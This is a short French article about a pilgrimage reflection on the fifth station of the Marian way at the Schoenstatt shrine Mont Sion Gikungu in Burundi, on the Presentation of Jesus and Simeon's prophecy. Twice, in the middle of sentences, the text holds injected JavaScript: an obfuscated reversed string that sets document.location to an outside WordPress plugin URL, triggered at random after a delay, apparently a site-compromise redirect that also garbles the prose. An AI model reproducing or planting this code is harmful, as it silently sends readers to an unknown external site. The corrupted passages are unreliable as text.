Dans notre pèlerinage vers le Sanctuaire Marial de Schoenstatt Mont Sion Gikungu, nous sommes à la cinquième station du chemin Marial. La sculpture nous toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donne l’idée de la présentation de l’enfant Jésus au temple.

C’était dans la coutume des peuples d’Israël que huit jours après la naissance  on présentait l’enfant au temple. Sur la sculpture, Père Longin NTIRANYIBAGIRA y voit une certaine analogie de la culture burundaise du rite de « ndakweretse Uburundi ». Selon lui, ce rite a été christianisé parce que l’évangile nous est parvenu.

Comme l’évangéliste Luc nous le raconte dans son chapitre 2,22-38, au temple le fils de Dieu a été accueilli par le sage Siméon qui attendait depuis longtemps qu’Israël reçoive le sauveur promis. « Cette station, a évoqué le Père Longin, met en scène la prophétie de Siméon à la Vierge Marie que l’épée transpercera son âme et que les pensées secrètes seront dévoilées. Marie a tout accueilli dans le silence et dans la méditation». Dans ses mots prophétiques, Siméon précise l’avenir de Jésus et sa mère.

La mère est aussi impliquée dans la mission de Jésus, sa tâche n’est pas terminée avec la naissance. Elle est très engagée dans le destin de son fils.

« En méditant à partir de cette scène, a signalé le Père Longin, pensons à notre toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don au Christ  parce que nous sommes devenus non seulement ses frères mais aussi ses disciples. »

 

                                                                           Brigitte IRAKOZE

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